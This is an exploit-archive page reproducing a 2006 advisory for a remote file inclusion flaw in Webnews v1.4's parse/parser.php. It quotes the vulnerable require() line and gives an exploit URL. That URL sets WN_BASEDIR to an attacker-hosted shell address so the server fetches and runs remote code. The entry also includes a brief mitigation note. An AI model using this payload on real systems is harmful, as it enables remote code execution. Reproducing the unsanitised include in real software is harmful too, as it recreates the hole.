webnews - exploit.company

vendor:

Webnews

by:

ThE-WoLf-KsA

N/A

CVSS

N/A

Remote File Inclusion

CWE

Product Name: Webnews

Affected Version From: v1.4

Affected Version To: v1.4

Patch Exists: NO

Related CWE: N/A

CPE: a:stylemotion:webnews:1.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

webnews <= v1.4 (WN_BASEDIR) Remote File Inclusion Exploit

A vulnerability exists in webnews v1.4 due to improper sanitization of user-supplied input in the 'WN_BASEDIR' parameter of the 'parse/parser.php' script. An attacker can exploit this vulnerability to execute arbitrary PHP code on the vulnerable system by supplying a malicious URL in the 'WN_BASEDIR' parameter.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

#==============================================================================================
#webnews <= v1.4 (WN_BASEDIR) Remote File Inclusion Exploit
#===============================================================================================
#
#Critical Level : Dangerous
#
#
#
#Version : v1.4
#
#================================================================================================
#Bug in : parse/parser.php
#
#Vlu Code :
#--------------------------------
#
#            require($WN_BASEDIR."/parse/parser.php");
#
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#htpp://sitename.com[scerpitPath]/parse/parser.php?WN_BASEDIR=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : ThE-WoLf-KsA
#
#Conatact : the-wolf-ksa[at]hotmail.com
#XP10_hackEr Team
#
#WWW.XP10.COM
==================================================================================================

vendor:
http://www.stylemotion.de/downloads-id1-web-news-1-4.html
/str0ke

# milw0rm.com [2006-09-26]